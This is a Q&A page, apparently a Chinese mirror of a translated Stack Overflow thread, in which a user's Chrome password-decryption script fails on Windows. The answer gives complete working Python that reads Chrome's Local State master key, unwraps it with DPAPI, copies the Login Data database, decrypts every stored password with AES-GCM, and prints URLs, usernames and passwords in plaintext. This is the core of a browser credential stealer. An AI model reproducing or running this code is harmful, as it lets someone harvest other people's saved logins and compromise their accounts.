当我尝试在 Windows 中解密 chrome 密码时,我有这个错误 pywintypes.error: (87, 'CryptProtectData', 'Paramètre wrong.') [英] I have this error pywintypes.error: (87, 'CryptProtectData', 'Paramètre incorrect.') when i'm trying to decrypt chrome password in windows

查看:42
本文介绍了当我尝试在 Windows 中解密 chrome 密码时,我有这个错误 pywintypes.error: (87, 'CryptProtectData', 'Paramètre wrong.')的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

这是我所有的代码,我尝试用它来解密 Windows 中的 chrome 密码.

Here is all of my code,I try to use this to decrypt chrome password in windows.

import os
import sqlite3
import win32crypt
def get_chrome():
    data_path = os.path.expanduser('~') + r'\AppData\Local\Google\Chrome\User Data\Default\Login Data'
    c = sqlite3.connect(data_path)
    cursor = c.cursor()
    select_statement = 'SELECT origin_url, username_value, password_value FROM logins'
    cursor.execute(select_statement)
    login_data = cursor.fetchall()

    cred = {}

    string = ''

    for url, user_name, pwd in login_data:
        pwd = win32crypt.CryptUnprotectData(pwd)
        cred[url] = (user_name, pwd[1].decode('utf8'))
        string += '\n[+] URL:%s USERNAME:%s PASSWORD:%s\n' % (url,user_name,pwd[1].decode('utf8'))
        print(string)


if __name__=='__main__':
    get_chrome()

它显示的错误是:

pywintypes.error: (87, 'CryptProtectData', 'Paramètre incorrect.') when i'm trying to decrypt chrome password in windows

推荐答案

我假设这是来自 w3w3w3 youtube 的频道.我遇到了和你完全一样的问题,但是有人发布了解决方案:

I'm assuming this is from w3w3w3 youtube's channel. I encountered the exact same problem as you, however, someone posted a solution to it:

 import os
 import json
 import base64
 import sqlite3
 import win32crypt
 from Cryptodome.Cipher import AES
 import shutil

 def get_master_key():
     with open(os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User 
 Data\Local State', "r") as f:
         local_state = f.read()
         local_state = json.loads(local_state)
     master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
     master_key = master_key[5:]  # removing DPAPI
     master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
     return master_key

 def decrypt_payload(cipher, payload):
     return cipher.decrypt(payload)

 def generate_cipher(aes_key, iv):
     return AES.new(aes_key, AES.MODE_GCM, iv)

 def decrypt_password(buff, master_key):
     try:
         iv = buff[3:15]
         payload = buff[15:]
         cipher = generate_cipher(master_key, iv)
         decrypted_pass = decrypt_payload(cipher, payload)
         decrypted_pass = decrypted_pass[:-16].decode()  # remove suffix bytes
         return decrypted_pass
     except Exception as e:
         # print("Probably saved password from Chrome version older than v80\n")
         # print(str(e))
         return "Chrome < 80"
 

master_key = get_master_key()
login_db = os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\default\Login Data'
shutil.copy2(login_db, "Loginvault.db") #making a temp copy since Login Data DB is locked while Chrome is running
conn = sqlite3.connect("Loginvault.db")
cursor = conn.cursor()
try:
    cursor.execute("SELECT action_url, username_value, password_value FROM logins")
    for r in cursor.fetchall():
        url = r[0]
        username = r[1]
        encrypted_password = r[2]
        decrypted_password = decrypt_password(encrypted_password, master_key)
        if len(username) > 0:
            print("URL: " + url + "\nUser Name: " + username + "\nPassword: " + decrypted_password + "\n" + "*" * 50 + "\n")
except Exception as e:
    pass
cursor.close()
conn.close()
try:
    os.remove("Loginvault.db")
except Exception as e:
    pass

这篇关于当我尝试在 Windows 中解密 chrome 密码时,我有这个错误 pywintypes.error: (87, 'CryptProtectData', 'Paramètre wrong.')的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
相关文章
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆